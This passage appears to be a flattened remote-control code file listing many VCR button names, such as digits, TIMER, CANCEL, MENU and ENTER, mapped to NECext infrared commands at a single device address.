-# -name: 5_(THU) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: A_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCRA_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 5/STOP_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 5_/_STOP_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 5_(MNO) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VIDEO_A_5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: THUR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: VCR_A_5_(MNO) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 25 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 6_(FRI) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: A_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCRA_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 6/DATE_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 6_/_DATE_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 6_(PQR) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VIDEO_A_6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: FRI -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: VCR_A_6_(PQR) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 26 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 7_(SAT) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: A_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCRA_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 7_(STU) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VIDEO_A_7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 7_/_DBS -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: VCR_A_7_(STU) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 27 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_8_(DAILY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8_(2ND) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: A_8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCRA_8_(DAILY_M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8/DAILY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8_DAILY_(M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8_DAILY(M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_PLUS:_DAILY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8_(VWX)_(DAILY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8_(VWX/DAILY(M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VIDEO_A_8_(DAILY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 8/DAILY(M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 2ND -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_A_8_(VWX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: VCR_8/DAILY(M-F) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 28 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_9_(WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9_(DAILY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: A_9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9_WEEKLY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCRA_9_(WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9/WEEKLY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_PLUS:_WEEKLY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9_(YZ.:)_(WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9_(YZ.:/WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VIDEO_A_9_(WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 9_/_WEEKLY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: DAILY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_A_9_(WEEKLY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: VCR_9/WEEKLY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 29 00 00 00 -# -name: HS/STD_&_SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: RECORD_SPEED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: VCR_SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: A_SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: VCRA_SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: ///_(SP/EP) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: VID_A(SP/EP) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: VCR_A_SP/EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: SP_/_EP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: DATE_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 31 00 00 00 -# -name: AM/PM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 32 00 00 00 -# -name: A_AM/PM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 32 00 00 00 -# -name: 0/AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_0_(AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0_REPEAT/AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0_(REPEAT) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0_(REPEAT/AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: A_0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCRA_0_(AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0_/_AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0_(AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: AUX_INPUT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VIDEO_A_0_(AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_A_0_(AUX) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: VCR_0/AUX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 33 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: VCR_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: A_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: [4]_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: VCRA_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: (4)_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: TIMR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: VID_A_5_TIMER_(CH) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: VCR_A_TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 35 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCR_CANCEL_(CRST/CS) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCR_CANCEL/CH.SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL(CRESET/CHSKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/C.RESET_SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: A_SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/C.RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL_SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL_(CRESET/SKIP) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCRA_CANCEL(C.RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCRA_CANCEL/CHSKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL_/_C.RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL_(C.RESET) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL_(SKIP) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CNCL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VID_A_CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/COUNTER_RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCR_A_CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: VCR_CANCEL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: CANCEL/C.RESET/SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 36 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VCR_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: PROG. -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: A_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: [1]_PROG_(CLOCK) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VCRA_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: PROG_(CLOCK/CH_SET) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: (1)_PROG_CLOCK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VCR_RA_EDIT_(MENU) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VID_A_REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VCR_A_MENU -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: VCR_PROG -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 37 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: VCR_DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: A_DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: VCRA_DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: DSPL -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: VID_A_DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: VCR_A_DISPLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 38 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 39 00 00 00 -# -name: GO-TO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3B 00 00 00 -# -name: A_GOTO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3B 00 00 00 -# -name: GO_TO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: CURSOR_-_ENTER/OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCR_OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCR_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: A_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: [3]_SELECT_(CMEMORY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCRA_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCRA_OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: SELECT_(CMEMORY) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: OK_ENTER/OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: (3)_SELECT_C.MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: SELECT_(IN/OUT) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCR_SELECT_(IN/OUT) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VID_A_3_SELECT(CMEM) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: OK_/_ENTER_/_OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: VCR_A_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3C 00 00 00 -# -name: PROGRAM_CHECK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: PROG._CHECK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: PROG_CHECK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: PROG_CHK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: PROGCHECK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: DATE_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3D 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: OSD/ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: VCR_ENTER_(OSD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: VCR_ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER/ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: A_ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER_SELECT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: VCRA_ENTER_(OSD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER_(OSD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: VCR_A_ENTER/OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER/OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: ENTER_OSD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 3E 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 41 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 41 00 00 00 -# -name: A_TRACKING_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 41 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 42 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 42 00 00 00 -# -name: A_TRACKING_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 42 00 00 00 -# -name: DIGITAL_OFF -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 43 00 00 00 -# -name: DIGITAL_MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 44 00 00 00 -# -name: ART -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 45 00 00 00 -# -name: ZOOM_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 46 00 00 00 -# -name: STROBE_SPEED -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 47 00 00 00 -# -name: TWIN_PICTURE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 48 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 49 00 00 00 -# -name: MULTI_SCREEN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 4A 00 00 00 -# -name: TV_MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 4B 00 00 00 -# -name: A_TV_MONITOR -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 4B 00 00 00 -# -name: VID_A_4_TRANS(CHSRCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 66 00 00 00 -# -name: LINE_1 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 6E 00 00 00 -# -name: VCRA_SHUT_PLUS_^ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 82 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 82 00 00 00 -# -name: VCRA_SHUT_PLUS_V -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 86 00 00 00 -# -name: VCR_ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: C.MEMORY/ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: REPEAT_(CMEMORY/ADD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: VCRA_C.MEMORY_(ADD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: VCRA_C.MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: C.MEMORY/ADD_(START) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: START_(C.MEMORY/ADD) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: VCR_A_IN/OUT/START/C -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: C_MEMORY/ADD -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: C._MEMORY -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 90 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 91 00 00 00 -# -name: A_INDEX -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 91 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 93 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 94 00 00 00 -# -name: A_ERASE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 94 00 00 00 -# -name: SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: VCR_SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: A_SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: VCRA_SKIP_SEARCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: SKIP_SRCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: VCR_A_SKIP_SRCH -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 96 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 97 00 00 00 -# -name: A_INTRO -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 97 00 00 00 -# -name: ZERO_RTN -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 98 00 00 00 -# -name: VCR_VOL_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 9E 00 00 00 -# -name: VCR_VOL_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: 9F 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 43 00 00 00 -command: AD 00 00 00 -# -name: VCR_A_JOG_< -type: parsed -protocol: NECext -address: 43 00 00 00 -command: AF 00 00 00 -# -name: JOG_REV -type: parsed -protocol: NECext -address: 43 00 00 00 -command: AF 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B1 00 00 00 -# -name: SHUTTLE_REV_(F.S.) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B1 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B7 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: B8 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BE 00 00 00 -# -name: SHUTTLE_FWD_(F.S.) -type: parsed -protocol: NECext -address: 43 00 00 00 -command: BE 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: PROG. -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: STOP_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C1 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: VCR_REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: VCRA_REVIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: RE-VIEW -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C3 00 00 00 -# -name: DATE_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C6 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C6 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C6 00 00 00 -# -name: DATE_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: DATE- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: START_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: DATE_-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C7 00 00 00 -# -name: START_+ -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C8 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C8 00 00 00 -# -name: START_- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C9 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C9 00 00 00 -# -name: START-- -type: parsed -protocol: NECext -address: 43 00 00 00 -command: C9 00 00 00 -# -name: 